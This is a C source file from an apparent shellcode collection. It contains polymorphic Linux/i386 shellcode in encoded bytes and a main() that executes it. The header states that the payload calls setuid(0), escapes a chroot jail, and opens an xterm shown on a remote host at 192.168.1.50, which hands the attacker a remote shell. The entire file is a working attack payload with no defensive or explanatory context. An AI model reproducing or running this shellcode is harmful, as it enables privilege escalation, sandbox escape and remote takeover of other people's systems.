/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a Linux/i386 polymorphic ShellCode that exec a setuid(0), then * evade from chroot and executes /usr/X11R6/bin/xterm -display * 192.168.1.50:0.0 and exit(0). * */ char shellcode[]= "\xeb\x81\x5e\x31\xc9\xb0\x71\xb1\xa4\x89\xf3\x83\xeb\x75\x30\x03" "\x43\xe2\xfb\x40\xb1\x40\xaa\xc1\x66\xbc\xf1\x40\xb1\x22\x19\x1b" "\x10\x18\x1d\xf8\x92\xc1\x56\xbc\xf1\x40\xb1\xc1\x4c\xbc\xf1\x40" "\xb1\x40\xaa\x40\xb8\xc0\x7b\x21\x19\x5f\x5f\x5e\x5e\x93\x88\xf8" "\x92\xc1\x7d\xbc\xf1\x40\xb1\x40\xaa\x1b\x5f\xf8\x92\xc1\x4c\xbc" "\xf1\x40\xb1\xf9\x37\x5f\xf8\x07\x5e\xf8\x82\xf9\x37\x65\xf1\xb2" "\x64\xf8\x2f\x42\xf9\x37\x6c\xf1\xb2\x78\xf8\x2f\x46\xf8\x37\x4a" "\xc1\x7a\xf8\x82\xfc\x3f\x5e\xfc\x27\x4a\xbc\xf1\x40\xb1\x40\xaa" "\x31\xbc\xf1\xe8\x7a\xff\xff\xff\x5e\x04\x02\x03\x5e\x29\x40\x40" "\x23\x47\x5e\x13\x18\x1f\x5e\x09\x05\x14\x03\x1c\x51\x5c\x15\x18" "\x02\x01\x1d\x10\x08\x51\x40\x48\x43\x5f\x40\x47\x49\x5f\x40\x5f" "\x44\x41\x4b\x41\x5f\x41"; main() { void (*f)(); (char *)f = shellcode; f(); }